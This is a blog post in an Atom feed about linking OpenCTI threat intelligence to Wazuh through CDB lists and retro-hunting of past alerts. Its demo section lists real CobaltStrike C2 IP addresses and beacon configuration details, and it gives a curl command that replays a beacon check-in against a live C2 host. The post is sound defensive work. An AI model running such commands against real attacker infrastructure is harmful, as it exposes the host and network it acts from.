<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://federicofantini.github.io/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://federicofantini.github.io/blog/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2026-06-28T09:06:17+02:00</updated><id>https://federicofantini.github.io/blog/feed.xml</id><title type="html">My blog</title><subtitle>My blog website</subtitle><entry><title type="html">Extending Wazuh Threat Intelligence with OpenCTI and Retro-Hunting</title><link href="https://federicofantini.github.io/blog/2026/06/24/Extending-Wazuh-Threat-Intelligence-with-OpenCTI.html" rel="alternate" type="text/html" title="Extending Wazuh Threat Intelligence with OpenCTI and Retro-Hunting" /><published>2026-06-24T00:00:00+02:00</published><updated>2026-06-24T00:00:00+02:00</updated><id>https://federicofantini.github.io/blog/2026/06/24/Extending-Wazuh-Threat-Intelligence-with-OpenCTI</id><content type="html" xml:base="https://federicofantini.github.io/blog/2026/06/24/Extending-Wazuh-Threat-Intelligence-with-OpenCTI.html"><![CDATA[<p>INDEX</p>
<ul>
  <li><a href="#0-introduction">0. Introduction</a></li>
  <li><a href="#1-why-the-opencti-path-needed-a-different-design">1. Why the OpenCTI path needed a different design</a></li>
  <li><a href="#2-architecture-overview">2. Architecture Overview</a></li>
  <li><a href="#3-ingestion-and-ioc-snapshot-management">3. Ingestion and IOC Snapshot Management</a></li>
  <li><a href="#4-tranco-filtering-and-export-constraints">4. Tranco Filtering and Export Constraints</a></li>
  <li><a href="#5-retro-hunting-against-wazuh-indexer">5. Retro-Hunting Against Wazuh Indexer</a></li>
  <li><a href="#6-wazuh-manager-integration">6. Wazuh Manager Integration</a></li>
  <li><a href="#7-cdb-lists-json-events-and-rule-flow">7. CDB Lists, JSON Events, and Rule Flow</a></li>
  <li><a href="#8-detection-demo-cobaltstrike-c2-from-shodan">8. Detection Demo: CobaltStrike C2 from Shodan</a>
    <ul>
      <li><a href="#step-1-ioc-not-in-opencti">Step 1: IOC not in OpenCTI</a></li>
      <li><a href="#step-2-simulate-the-beacon-communication">Step 2: Simulate the beacon communication</a></li>
      <li><a href="#step-3-add-the-ioc-to-opencti">Step 3: Add the IOC to OpenCTI</a></li>
      <li><a href="#step-4-pipeline-picks-up-the-new-indicators">Step 4: Pipeline picks up the new indicators</a></li>
    </ul>
  </li>
  <li><a href="#9-installation">9. Installation</a>
    <ul>
      <li><a href="#91-deploy-the-djangocelery-stack">9.1 Deploy the Django/Celery stack</a></li>
      <li><a href="#92-wazuh-manager-rules-and-ossecconf">9.2 Wazuh manager: rules and ossec.conf</a></li>
      <li><a href="#93-install-the-manager-downloader">9.3 Install the manager downloader</a></li>
      <li><a href="#94-cron-jobs">9.4 Cron jobs</a></li>
      <li><a href="#95-verify">9.5 Verify</a></li>
    </ul>
  </li>
  <li><a href="#10-closing-notes">10. Closing Notes</a></li>
  <li><a href="#11-summary">11. Summary</a></li>
</ul>

<h2 id="0-introduction">0. Introduction</h2>

<p>This project is built using the <a href="https://wazuh.com/?utm_source=ambassadors&amp;utm_medium=referral&amp;utm_campaign=ambassadors+program">Wazuh security platform</a>.</p>

<p>If you are interested in contributing to the community, you can also learn more about the <a href="https://wazuh.com/ambassadors-program/?utm_source=ambassadors&amp;utm_medium=referral&amp;utm_campaign=ambassadors+program">Wazuh Ambassadors Program</a>.</p>

<hr />

<p>In the <a href="/2026/03/23/Wazuh-Threat-Intelligence.html">previous post</a> I described a practical Wazuh threat intelligence pipeline for a homelab: external feeds were downloaded, normalized, deduplicated, written as CDB source lists, and matched by custom Wazuh rules against Sysmon and Suricata telemetry.</p>

<p>That version was intentionally direct. It used the primitives Wazuh already provides: decoded event fields, CDB list lookups, local rules, and scheduled updates. For flat public feeds this approach is still a good fit. The pipeline remains easy to inspect because the output is just text files in the format consumed by Wazuh.</p>

<p>OpenCTI made the old script-based approach awkward. I was no longer just downloading a flat feed and writing three text files. I had to deal with paginated TAXII data, partial fetch failures, local filtering, “new” indicators, retro-hunt jobs, and enough history to understand what happened when a run failed. At that point, keeping everything inside a Wazuh manager cron script felt like the wrong place for the logic.</p>

<p>This post documents the current version of my Wazuh-TI integration. The OpenCTI path is now handled by a small Django/Celery service that fetches indicators from OpenCTI, maintains the current export snapshot, exposes Wazuh-compatible artifacts, and runs retro-hunting queries against the Wazuh Indexer. The Wazuh manager consumes the results through a small unprivileged downloader and a few cron jobs.</p>

<p>I have been running this version in my homelab for about three weeks. It is not a CTI platform and it does not try to be one. It is glue code around a very specific workflow: take usable indicators from OpenCTI, make them consumable by Wazuh, and use the same data to search old alerts.</p>

<h2 id="1-why-the-opencti-path-needed-a-different-design">1. Why the OpenCTI path needed a different design</h2>

<p>As I described in the <a href="/2026/03/23/Wazuh-Threat-Intelligence.html">previous post</a>, Wazuh’s native threat intelligence integration is on the roadmap for Wazuh 5.0, but no stable release was available at the time I built this. That meant my homelab was uncovered. I was not willing to wait for a stable release, and I wanted to build something from scratch to understand the problem properly rather than just configure a feature when it eventually shipped.</p>

<p>The first version of Wazuh-TI was a reasonable starting point: download feeds, normalize values, write lists. That model still works well for flat public blocklists.</p>

<p>OpenCTI changes the requirements. The integration has to paginate a TAXII collection, handle partial fetch failures, extract usable values from STIX indicator patterns, filter noise through Tranco, track which values are new since the last run, queue retrohunt work for them, and maintain enough audit history to understand what happened when something goes wrong. That is application state. The right place for it is a dedicated service with a data model and a task queue.</p>

<p>What this adds to Wazuh that is not available natively today:</p>

<ol>
  <li><strong>OpenCTI TAXII ingestion</strong> — Wazuh has no built-in TAXII client. CDB lists must be populated externally; this service handles the full fetch, extraction, and export pipeline automatically.</li>
  <li><strong>Retro-hunting against historical alerts</strong> — When a new IOC is imported, Wazuh has no mechanism to check whether past events matched it. This integration queries the Wazuh Indexer over a configurable lookback window and surfaces those historical matches as new alerts.</li>
  <li><strong>IOC lifecycle management</strong> — The local indicator snapshot mirrors what OpenCTI currently contains. IOCs removed from OpenCTI are automatically dropped from the next CDB export, preventing stale or retracted indicators from continuing to generate alerts.</li>
</ol>

<h2 id="2-architecture-overview">2. Architecture Overview</h2>

<p>The design splits responsibility cleanly: the Django/Celery service owns all ingestion state, and Wazuh remains a pure consumer.</p>

<pre><code class="language-mermaid">flowchart LR
    OpenCTI(["OpenCTI\nTAXII"])
    Tranco(["Tranco\ncache"])

    subgraph svc["Wazuh-TI service"]
        direction TB
        Fetch["Celery\nfetch task"]
        PG[("PostgreSQL\nIndicator / RetroHit")]
        Export["Django\nHTTP exports"]
        Retro["Celery\nretro-hunt"]
    end

    subgraph mgr["Wazuh manager"]
        direction TB
        DL["opencti-ti\ndownloader"]
        CDB["/var/ossec/etc/lists/\nopencti_ips · _domains · _hashes"]
        RLOG["opencti_retrohunt\n_events.json"]
        Rules["Wazuh rules\n+ alerts"]
    end

    Indexer[("Wazuh\nIndexer")]

    OpenCTI --&gt; Fetch
    Tranco --&gt; Fetch
    Fetch --&gt;|upsert / delta| PG
    PG --&gt; Export
    Export --&gt;|CDB lists| DL
    DL --&gt;|copy + restart| CDB
    Export --&gt;|JSONL diff| DL
    DL --&gt;|append| RLOG
    CDB --&gt;|future matches| Rules
    RLOG --&gt;|historical matches| Rules
    PG --&gt; Retro
    Retro &lt;--&gt;|search_after| Indexer
    Retro --&gt;|RetroHit| PG
</code></pre>

<p>The four HTTP endpoints exported by Django (<code class="language-html highlighter-rouge">opencti_ips</code>, <code class="language-html highlighter-rouge">opencti_domains</code>, <code class="language-html highlighter-rouge">opencti_file_hashes</code> as CDB source lists, and <code class="language-html highlighter-rouge">opencti_retrohunt_events.json</code> as JSONL evidence) are the only interface the Wazuh manager needs.</p>

<p>On the service side: Django, Gunicorn, Celery, Redis, and PostgreSQL on a single host. On the Wazuh manager side: a downloader script and a handful of cron entries. No sidecars, no message bus.</p>

<h2 id="3-ingestion-and-ioc-snapshot-management">3. Ingestion and IOC Snapshot Management</h2>

<p>The ingestion task paginates the TAXII collection and builds a deduplicating in-memory snapshot from the returned STIX indicator objects. For each indicator it tries two paths: read the <code class="language-html highlighter-rouge">observable_values</code> embedded by OpenCTI in its TAXII extension, then fall back to parsing the raw STIX pattern string. The code handles IPv4/IPv6 addresses, domain names, hostnames, URL host components, and file hashes. Only normalized IOC values are persisted; the richer OpenCTI context stays in OpenCTI.</p>

<p>The local <code class="language-html highlighter-rouge">Indicator</code> table is a current-state snapshot of whatever OpenCTI contains at the time of each fetch, not a secondary CTI archive. The design is intentional: an IOC that no longer exists in OpenCTI should not keep appearing in Wazuh CDB lists or in retrohunt searches. After each successful fetch the ingestion layer upserts all current values with a fresh <code class="language-html highlighter-rouge">last_seen</code> timestamp, computes the delta against the previous snapshot, queues <code class="language-html highlighter-rouge">RetroJob</code> entries for IOC values that are genuinely new, and then deletes any <code class="language-html highlighter-rouge">Indicator</code> row whose <code class="language-html highlighter-rouge">last_seen</code> was not refreshed in this run. A value that disappears from OpenCTI (due to retention or manual removal) is gone from the next CDB export. The <code class="language-html highlighter-rouge">RetroHit</code> evidence records written by past retrohunt runs are never deleted; confirmed historical matches stay on record regardless of subsequent changes to the OpenCTI collection.</p>

<p><img src="/blog/assets/images/wazuh/002-wazuhti-indicators.png" alt="Django admin: Indicator table showing the current OpenCTI snapshot with kind, value, source, and last_seen fields" /></p>

<p>If a TAXII fetch returns zero indicators, the ingestion layer refuses to replace the current snapshot, treating an empty response as a likely connectivity error rather than a legitimate collection flush.</p>

<p>The first import has dedicated handling. By default the baseline is established without retrohunting the existing collection; only values imported after that point are queued for historical searches. A flag (<code class="language-html highlighter-rouge">retrohunt_queue_existing_on_first_run</code>) overrides this for deployments that want to retrohunt against an already-populated Wazuh Indexer from day one.</p>

<p>Each ingestion attempt writes a <code class="language-html highlighter-rouge">FetchRun</code> record: TAXII pages fetched, indicator objects skipped, domains suppressed by the Tranco filter, and new IOC values queued for retrohunting. On failure the error is stored alongside the partial counters, enough to determine whether the cause was a connectivity issue, the zero-indicator guard, or something in the extraction path.</p>

<p><img src="/blog/assets/images/wazuh/003-wazuhti-fetch-run.png" alt="Django admin: FetchRun detail with per-run counters and structured log output" /></p>

<h2 id="4-tranco-filtering-and-export-constraints">4. Tranco Filtering and Export Constraints</h2>

<p>Domain indicators pass through a local Tranco filter before they reach the Wazuh export or the retro-hunt queue. The filter loads the Tranco full-domain CSV into an in-memory suffix set and applies parent-domain suppression: if <code class="language-html highlighter-rouge">example.com</code> is listed, then <code class="language-html highlighter-rouge">api.cdn.example.com</code> is filtered too, regardless of whether it appears explicitly. This eliminates the most common class of noisy homelab alerts where legitimate cloud infrastructure or CDN nodes appear in threat feeds.</p>

<p>The Tranco CSV is cached locally and refreshed when it is older than 14 days. If a refresh fails but a stale copy exists, the ingestion continues with the stale data and logs a warning; if no local copy exists at all, the filter step is skipped entirely. Neither failure mode aborts the fetch.</p>

<p>This is a noise filter, not a trust decision. Shared-hosting domains, abused platforms, and fast-flux infrastructure all produce cases where a Tranco-listed domain is genuinely malicious. Those need explicit exceptions or tighter source scoring, not reliance on this filter.</p>

<p>The CDB format has a structural problem with IPv6: Wazuh uses <code class="language-html highlighter-rouge">:</code> as the key/value separator, which conflicts with the colons in IPv6 address literals. Wazuh handles this by supporting quoted keys, so the export layer wraps IPv6 addresses in double quotes:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="syntax"><code>"2001:41d0:305:2100::b6d7":opencti
</code></pre></div></div>

<p>IPv4 addresses are exported as plain keys. The manager downloader validates the CDB format before staging any file, applying the same quoting rule: it will reject a file containing a bare IPv6 key before it can corrupt the installed list.</p>

<h2 id="5-retro-hunting-against-wazuh-indexer">5. Retro-Hunting Against Wazuh Indexer</h2>

<p>CDB list matching only covers future traffic. If an indicator is imported today, anything that matched it last week is invisible. The retro-hunt queue addresses that gap.</p>

<p>When a new indicator is recorded, a <code class="language-html highlighter-rouge">RetroJob</code> is queued covering a configurable lookback window (90 days by default). The Celery worker processes these in bounded passes: at most 4 batches per run, up to 250 IPs or domains per batch, with a 2-second delay between Indexer requests. Hashes use a separate smaller batch size of 10, because they require wildcard queries rather than exact terms queries: Sysmon stores all digest algorithms in a single composite text field, so <code class="language-html highlighter-rouge">*<span class="nt">&lt;hash&gt;</span>*</code> wildcards are the only reliable match strategy.</p>

<p><img src="/blog/assets/images/wazuh/004-wazuhti-retro-jobs.png" alt="Django admin: RetroJob queue showing pending IOC searches with lookback window" /></p>

<p>Results are paginated with <code class="language-html highlighter-rouge">search_after</code>, sorted by <code class="language-html highlighter-rouge">[timestamp, _id]</code> to avoid the deep-offset penalty of <code class="language-html highlighter-rouge">from/size</code>. Without a point-in-time search the result set can shift while documents are being indexed, which is an acceptable trade-off for a homelab workload.</p>

<p>The Indexer query returns candidates; the application re-reads each <code class="language-html highlighter-rouge">_source</code> to confirm the exact match locally before writing a <code class="language-html highlighter-rouge">RetroHit</code> row. Every hit records which specific field contained which IOC value, which matters when the same event could match via both <code class="language-html highlighter-rouge">dns.rrname</code> and <code class="language-html highlighter-rouge">tls.sni</code>. Along with the matched field name, the application copies agent, rule, location, and decoder metadata from the indexed <code class="language-html highlighter-rouge">_source</code> into the <code class="language-html highlighter-rouge">RetroHit</code> row. This context is re-emitted verbatim in the JSONL export, so the Rule 1500 alert that fires downstream carries the full provenance of the original event without requiring a secondary Indexer query.</p>

<p>Confirmed hits are streamed as JSONL from the export endpoint. The manager downloader tracks the last seen event hash and writes only the new tail into the staged file, so root cron can safely append it to the Wazuh-monitored log without replaying the full history.</p>

<p>Each retrohunt pass writes a <code class="language-html highlighter-rouge">RetroHuntRun</code> record: batches processed, IOCs tested, Indexer hits returned, and how many survived local re-verification. The <code class="language-html highlighter-rouge">pending_after</code> field shows the remaining queue depth after the run, useful when estimating how long a large initial import will take to drain. The <code class="language-html highlighter-rouge">RetroHit</code> rows are the durable output: each one identifies the Indexer document, the originating agent, the original Wazuh rule, and the exact matched field, without requiring a follow-up Indexer query.</p>

<h2 id="6-wazuh-manager-integration">6. Wazuh Manager Integration</h2>

<p>On the Wazuh manager I use a dedicated unprivileged user:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="syntax"><code>opencti-ti
</code></pre></div></div>

<p>The downloader runs as this user and writes only to:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="syntax"><code>/home/opencti-ti/iocs/
</code></pre></div></div>

<p>It does not write to <code class="language-html highlighter-rouge">/var/ossec</code>, does not change ownership to <code class="language-html highlighter-rouge">wazuh</code>, and does not restart the manager. Those operations are left to root cron jobs.</p>

<p>The <code class="language-html highlighter-rouge">opencti-ti</code> cron refreshes the staged files hourly:</p>

<pre><code class="language-cron">SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

10 * * * * /home/opencti-ti/bin/fetch-opencti-lists-from-django.py &gt;&gt; /home/opencti-ti/logs/fetch-opencti-lists-from-django.log 2&gt;&amp;1
</code></pre>

<p>Root installs the staged CDB source lists into Wazuh twice per day:</p>

<pre><code class="language-cron"># Copy OpenCTI CDB lists into Wazuh and restart the manager to reload CDB lists.
5 23,6 * * * cp /home/opencti-ti/iocs/opencti_ips /home/opencti-ti/iocs/opencti_domains /home/opencti-ti/iocs/opencti_file_hashes /var/ossec/etc/lists/ &amp;&amp; chown wazuh:wazuh /var/ossec/etc/lists/opencti_ips /var/ossec/etc/lists/opencti_domains /var/ossec/etc/lists/opencti_file_hashes &amp;&amp; chmod 640 /var/ossec/etc/lists/opencti_ips /var/ossec/etc/lists/opencti_domains /var/ossec/etc/lists/opencti_file_hashes

15 23,6 * * * systemctl restart wazuh-manager &gt;&gt; /var/log/wazuh-restart.log 2&gt;&amp;1
</code></pre>

<p>The restart is deliberate: CDB source lists are compiled and loaded by the manager during startup.</p>

<p><img src="/blog/assets/images/wazuh/005-wazuh-cdb-lists.png" alt="Wazuh manager: compiled CDB files for OpenCTI indicators after manager restart" /></p>

<p>New retro-hunt events are appended hourly to a JSON log monitored by Wazuh:</p>

<pre><code class="language-cron"># Append retro-hunt JSON events into the Wazuh log path, without restarting Wazuh.
20 * * * * test -s /home/opencti-ti/iocs/opencti_retrohunt_events.json &amp;&amp; cat /home/opencti-ti/iocs/opencti_retrohunt_events.json &gt;&gt; /var/ossec/logs/opencti_retrohunt_events.json &amp;&amp; chown wazuh:wazuh /var/ossec/logs/opencti_retrohunt_events.json &amp;&amp; chmod 640 /var/ossec/logs/opencti_retrohunt_events.json
</code></pre>

<p>The important detail here is deduplication. The Django endpoint streams the stored <code class="language-html highlighter-rouge">RetroHit</code> records, while the manager downloader keeps a local last-event hash and writes only the new tail of the export into the staged JSONL file. Root cron appends that staged diff to the monitored Wazuh log.</p>

<p>Unlike CDB list updates, this path does not need a manager restart. Wazuh reads the file as a JSON <code class="language-html highlighter-rouge">localfile</code>, so appending new JSONL events is enough. The only thing to avoid is replaying the full export every hour, because that would create duplicate evidence events and probably duplicate alerts.</p>

<h2 id="7-cdb-lists-json-events-and-rule-flow">7. CDB Lists, JSON Events, and Rule Flow</h2>

<p>The OpenCTI CDB lists must be registered inside the <code class="language-html highlighter-rouge"><span class="nt">&lt;ruleset&gt;</span></code> block of <code class="language-html highlighter-rouge">/var/ossec/etc/ossec.conf</code>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nt">&lt;list&gt;</span>etc/lists/opencti_ips<span class="nt">&lt;/list&gt;</span>
<span class="nt">&lt;list&gt;</span>etc/lists/opencti_domains<span class="nt">&lt;/list&gt;</span>
<span class="nt">&lt;list&gt;</span>etc/lists/opencti_file_hashes<span class="nt">&lt;/list&gt;</span>
</code></pre></div></div>

<p>The provided local rules then match the decoded Suricata and Sysmon fields I care about against those lists: Suricata IP, DNS, TLS SNI and HTTP hostname fields on Linux, and Sysmon network, DNS and hash-related fields on Windows.</p>

<p>Retro-hunt hits are not list entries. They are generated evidence events. A typical exported event looks like:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="p">{</span><span class="nl">"retrohunt"</span><span class="p">:{</span><span class="nl">"source"</span><span class="p">:</span><span class="s2">"opencti"</span><span class="p">,</span><span class="nl">"match_type"</span><span class="p">:</span><span class="s2">"historical_ioc_match"</span><span class="p">,</span><span class="nl">"kind"</span><span class="p">:</span><span class="s2">"ip"</span><span class="p">,</span><span class="nl">"value"</span><span class="p">:</span><span class="s2">"1.2.3.4"</span><span class="p">,</span><span class="nl">"historical"</span><span class="p">:{</span><span class="nl">"index"</span><span class="p">:</span><span class="s2">"wazuh-alerts-*"</span><span class="p">,</span><span class="nl">"document_id"</span><span class="p">:</span><span class="s2">"example"</span><span class="p">,</span><span class="nl">"timestamp"</span><span class="p">:</span><span class="s2">"2026-06-13T10:00:00Z"</span><span class="p">}}}</span><span class="w">
</span></code></pre></div></div>

<p>Wazuh ingests the file with a JSON <code class="language-html highlighter-rouge">localfile</code> and a rule matches:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nt">&lt;field</span> <span class="na">name=</span><span class="s">"retrohunt.source"</span><span class="nt">&gt;</span>^opencti$<span class="nt">&lt;/field&gt;</span>
<span class="nt">&lt;field</span> <span class="na">name=</span><span class="s">"retrohunt.match_type"</span><span class="nt">&gt;</span>^historical_ioc_match$<span class="nt">&lt;/field&gt;</span>
</code></pre></div></div>

<p>This creates two distinct detection paths:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="syntax"><code>CDB lists        -&gt; future telemetry matches
Retro-hunt JSON  -&gt; historical telemetry matches
</code></pre></div></div>

<p>Both produce Wazuh alerts, but they are intentionally separate workflows.</p>

<h2 id="8-detection-demo-cobaltstrike-c2-from-shodan">8. Detection Demo: CobaltStrike C2 from Shodan</h2>

<p>To illustrate the full pipeline in operation, here is a real scenario from my homelab: a CobaltStrike C2 server found on Shodan that was not yet in my OpenCTI instance.</p>

<h3 id="step-1-ioc-not-in-opencti">Step 1: IOC not in OpenCTI</h3>

<p>Shodan listed <code class="language-html highlighter-rouge">139.196.34.57</code> as a CobaltStrike C2 host. The extracted beacon configuration identified <code class="language-html highlighter-rouge">43.139.221.182</code> as the actual C2 endpoint:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="syntax"><code>BeaconType  : HTTP
Port        : 3369
C2Server    : 43.139.221.182,/__utm.gif
UserAgent   : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSNIP)
HttpPostUri : /submit.php
</code></pre></div></div>

<p>A search in OpenCTI confirmed neither IP was present in the local instance at the time.</p>

<p><img src="/blog/assets/images/wazuh/006-opencti-missing-IOC-CobaltStrike.png" alt="Neither IOC is in OpenCTI" /></p>

<h3 id="step-2-simulate-the-beacon-communication">Step 2: Simulate the beacon communication</h3>

<p>To generate network telemetry <em>before</em> adding the IOC to OpenCTI, I replayed the beacon check-in using <code class="language-html highlighter-rouge">curl</code> with the exact User-Agent and URI from the extracted configuration:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>curl <span class="nt">-A</span> <span class="s2">"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSNIP)"</span> <span class="se">\</span>
     <span class="nt">-H</span> <span class="s2">"Cookie: "</span> <span class="se">\</span>
     http://43.139.221.182/__utm.gif
</code></pre></div></div>

<p>The host responded with what appears to be a repurposed server. The original C2 infrastructure no longer serves beacon responses, but the connection produced Suricata telemetry captured by Wazuh. At this stage the event was matched only by a generic Suricata rule at level 3. The IP was not yet in the CDB list, so no TI rule fired.</p>

<p><img src="/blog/assets/images/wazuh/007-wazuh-contacted-missing-IOC-CobaltStrike.png" alt="Suricata alert for the simulated beacon connection — generic rule, no TI hit yet" /></p>

<h3 id="step-3-add-the-ioc-to-opencti">Step 3: Add the IOC to OpenCTI</h3>

<p><code class="language-html highlighter-rouge">43.139.221.182</code> was added with the <code class="language-html highlighter-rouge">CobaltStrike</code> label and <code class="language-html highlighter-rouge">139.196.34.57</code> with <code class="language-html highlighter-rouge">CobaltStrike Beacon</code>, both sourced from Shodan.</p>

<p><img src="/blog/assets/images/wazuh/008-opencti-added-missing-IOC-CobaltStrike.png" alt="Both IOCs added to OpenCTI as Shodan indicators" /></p>

<h3 id="step-4-pipeline-picks-up-the-new-indicators">Step 4: Pipeline picks up the new indicators</h3>

<p>The next Celery fetch pulls the new indicators from the OpenCTI TAXII collection. Once ingested into the local <code class="language-html highlighter-rouge">Indicator</code> snapshot, they appear in the next CDB list export. The root cron job copies the updated <code class="language-html highlighter-rouge">opencti_ips</code> list to <code class="language-html highlighter-rouge">/var/ossec/etc/lists/</code> and restarts the Wazuh manager to recompile it.</p>

<p>From that point forward:</p>

<ul>
  <li>Any new Suricata event with <code class="language-html highlighter-rouge">dest_ip</code> matching either address fires rule <code class="language-html highlighter-rouge">1450</code> at level 16; <code class="language-html highlighter-rouge">src_ip</code> matches fire rule <code class="language-html highlighter-rouge">1451</code> at level 16.</li>
  <li>The retrohunt queue receives a <code class="language-html highlighter-rouge">RetroJob</code> for both IPs. On the next run, the Celery worker searches the Wazuh Indexer for historical events matching these addresses, including the simulated beacon connection from step 2, which is already indexed. Confirmed matches are exported as retro-hunt evidence events, triggering rule <code class="language-html highlighter-rouge">1500</code>.</li>
</ul>

<p>The key detail is the timeline: the simulated connection happened <em>before</em> the IOC was known to the system. The retrohunt is exactly the mechanism that surfaces that gap.</p>

<p>The scheduled TAXII fetch ran at 3:00 AM. By 6:20 AM, the Discord integration (described in the <a href="/2026/03/23/Wazuh-Threat-Intelligence.html#6-alerting">alerting section</a> of the previous post) had delivered two notifications: one per matched historical event.</p>

<p><img src="/blog/assets/images/wazuh/009-wazuh-retrohunting-alert-discord.png" alt="Discord: two Rule 1500 retro-hunt alerts at 6:20 AM" /></p>

<p>Working backwards: the <code class="language-html highlighter-rouge">FetchRun</code> record in the Django admin shows <strong>665 new IOC values</strong> queued as <code class="language-html highlighter-rouge">RetroJob</code> entries, the two CobaltStrike addresses among them.</p>

<p><img src="/blog/assets/images/wazuh/010-wazuhti-queued-new-IOCs-as-retrohunting-jobs.png" alt="Django admin fetch run: 665 new IOCs queued as retro-hunting jobs" /></p>

<p>Both indicators are now present in the local <code class="language-html highlighter-rouge">Indicator</code> table and included in the <code class="language-html highlighter-rouge">opencti_ips</code> export. Searching the admin for each address confirms the exact ingestion time: <code class="language-html highlighter-rouge">139.196.34.57</code> and <code class="language-html highlighter-rouge">43.139.221.182</code> were first recorded at 3:03 and 3:04 AM respectively, with the CDB export line already populated.</p>

<p><img src="/blog/assets/images/wazuh/011-wazuhti-new-indicators.png" alt="Both CobaltStrike IPs present in the Wazuh-TI indicator snapshot" /></p>

<p>The Celery worker’s next retrohunt run queried the Wazuh Indexer over the 90-day lookback window and returned <strong>2 confirmed hits</strong>.</p>

<p><img src="/blog/assets/images/wazuh/012-wazuhti-retrohunting-runs.png" alt="Retro hunt runs: the 6:00 AM run shows 2 hits across 112 IOCs tested" /></p>

<p>Both hits reference <code class="language-html highlighter-rouge">43.139.221.182</code>, but each comes from a different Suricata event generated by the same <code class="language-html highlighter-rouge">curl</code> in step 2. The HTTP event (<code class="language-html highlighter-rouge">Suricata HTTP Traffic.</code>) matched via <code class="language-html highlighter-rouge">data.dest_ip</code>: the CobaltStrike server was the outbound connection target. The <code class="language-html highlighter-rouge">fileinfo</code> event produced by the same TCP flow matched via <code class="language-html highlighter-rouge">data.src_ip</code>: in Suricata’s fileinfo records, the file-serving host appears as the source. Two distinct Wazuh Indexer documents, same IOC, different event types.</p>

<p><img src="/blog/assets/images/wazuh/013-wazuhti-retrohunting-hits.png" alt="Two RetroHit rows in Wazuh-TI: same IP, matched via data.dest_ip and data.src_ip respectively" /></p>

<p>Both Rule 1500 alerts are visible in Wazuh Discover, timestamped hours after the original connection.</p>

<p><img src="/blog/assets/images/wazuh/014-wazuh-retrohunting-hits.png" alt="Wazuh Discover: two Rule 1500 retro-hunt alerts" /></p>

<p>The <code class="language-html highlighter-rouge">data.retrohunt</code> field in each alert carries the full event provenance:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"timestamp"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-06-18T04:20:01Z"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"rule"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1500"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"level"</span><span class="p">:</span><span class="w"> </span><span class="mi">16</span><span class="p">,</span><span class="w">
    </span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"TI retro-hunt hit: historical event matches newly imported OpenCTI IOC"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"retrohunt"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"source"</span><span class="p">:</span><span class="w"> </span><span class="s2">"opencti"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"match_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"historical_ioc_match"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"kind"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ip"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"43.139.221.182"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"historical"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"index"</span><span class="p">:</span><span class="w"> </span><span class="s2">"wazuh-alerts-4.x-2026.06.17"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"timestamp"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-06-17T19:54:59Z"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"matched_fields"</span><span class="p">:</span><span class="w"> </span><span class="s2">"data.dest_ip"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"agent"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"fede_pc_thinkpad"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"rule"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"100006"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"level"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w">
          </span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Suricata HTTP Traffic."</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"location"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/var/log/suricata/eve.json"</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The <code class="language-html highlighter-rouge">historical.matched_fields</code> key and the preserved rule metadata are produced by the local re-verification step described in <a href="#5-retro-hunting-against-wazuh-indexer">§5</a>: the application reads the <code class="language-html highlighter-rouge">_source</code> of each Indexer candidate, confirms which exact field contains the IOC value, and copies the original event context into the <code class="language-html highlighter-rouge">RetroHit</code> row before it is exported.</p>

<h2 id="9-installation">9. Installation</h2>

